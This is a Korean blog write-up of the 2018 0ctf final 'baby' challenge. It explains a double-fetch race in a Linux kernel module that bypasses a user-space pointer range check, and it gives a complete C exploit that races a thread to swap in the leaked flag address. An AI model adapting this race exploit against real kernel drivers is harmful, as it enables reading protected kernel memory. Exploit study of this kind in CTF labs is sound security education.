본문 바로가기

system/writeup

2018 0ctf final baby

2018 0ctf final baby

double fetch 취약점이 발생하는 모듈이 존재한다.

리눅스 커널에서의 race condition이라고 생각하면 된다.

user-space binary보다 double fetch 취약점이 리눅스 커널상에서 많이 발생하는 이유는 context switch의 유무 차이인 것 같다.

일단 모듈은 굉장히 작으며, 간단하게 살펴보면 다음과 같다.

flag의 주소를 출력해준다.

난잡한 조건문을 거친 뒤 *input == flag라면 flag를 출력해준다.

즉, input에 얻은 flag의 주소를 넣어줘야 한다.

여기서 __chk_range_not_ok 함수를 살펴보자.

첫 번째 인자와 두 번째 인자를 __CFADD__를 통해 더하는데, 만약 첫 번째 인자에 커널 주소, 즉 flag의 주소가 들어오면 carry flag가 셋팅되어 result가 1이 돼버린다.

또한, 이를 더한 것이 세 번째 인자보다 작아야 하므로, user_space addr이 전달되어야 하는 것은 명확하다.

그러면 조건문을 통과하지 못한다. 즉, user_space addr이 전달되어야 조건을 통과할 수 있다.

하지만 여기서 double-fetch 취약점을 이용하여 이를 우회할 수 있다.

user_space addr을 이용하여 조건을 모두 통과한 시점에 inputuser_space addr에서 flag addr로 바꾸는 것이다.

그렇게 thread를 만들어 쭉 돌려주면 flag가 나온다.

  #include <stdio.h>
 #include <stdlib.h>
 #include <string.h>
 #include <fcntl.h>
 #include <unistd.h>
 #include <errno.h>
 #include <sys/ioctl.h>
 #include <pthread.h>
 #include <sys/stat.h>
 #include <sys/types.h>
 #include <stdint.h>
 
 int fd;
 int finish = 0;
 size_t flag_addr;
 
 #define ioctl_get_flag_addr 0x6666
 #define ioctl_get_flag 0x1337
 #define BUF_LEN 0x1000
 
 struct attr
{
         size_t flag;
         size_t len;
};
 
 void change_attr_value(void* s)
{
         struct attr* s1 = s;
         while(finish==0)
        {
                 s1 -> flag = flag_addr;
        }
}
 void get_flag_addr()
{
         ioctl(fd, ioctl_get_flag_addr);
}
 
 void get_flag(size_t val)
{
         ioctl(fd, ioctl_get_flag, val);
}
 
>>void main()
{
         char buf[BUF_LEN];
         struct stat sb;
         struct attr t;
         pthread_t t1;
 
         fd = open("/dev/baby", O_RDWR);
 
         if (fd < 0)
        {
                 printf("cannot open /dev/baby.\n");
                 return;
        }
 
         get_flag_addr();
 
         system("dmesg | tail > /tmp/mesg");
         int file = open("/tmp/mesg", O_RDONLY);
         if (fstat(file, &sb) < 0)
        {
                 printf("fstat error.\n");
                 return;
        }
         if (sb.st_size > BUF_LEN)
                 sb.st_size = BUF_LEN;
         read(file, buf, sb.st_size);
         if (close(file) != 0)
        {
                 printf("cannot close /tmp/mesg.\n");
                 return;
        }
         char* p = strstr(buf, "Your flag is at");
         if (p == 0)
        {
                 printf("cannot found flag");
                 return;
        } else {
                 p += 16;
                 flag_addr = strtoul(p, p+16, 16);
                 printf("flag_addr: %lx\n", flag_addr);
        }
 
         t.len = 33;
         t.flag = buf;
         pthread_create(&t1, NULL, change_attr_value, &t);
         for (int i=0; i< 0x1000; i++)
        {
                 ioctl(fd, 0x1337, &t);
                 t.flag = buf;
        }
         finish = 1;
         pthread_join(t1, NULL);
 
         if (close(fd) != 0)
        {
                 printf("cannot close /dev/baby.\n");
                 return;
        }
 
         puts("[+]result is :");
         system("dmesg | grep flag");
}


'system > writeup' 카테고리의 다른 글

2019 d3ctf ezfile  (0) 2019.12.15
2019 holyshield babyheap  (0) 2019.12.04
2018 bctf three  (0) 2019.12.01
2018 bctf houseofatum  (0) 2019.12.01
2019 d3ctf new_heap  (0) 2019.11.30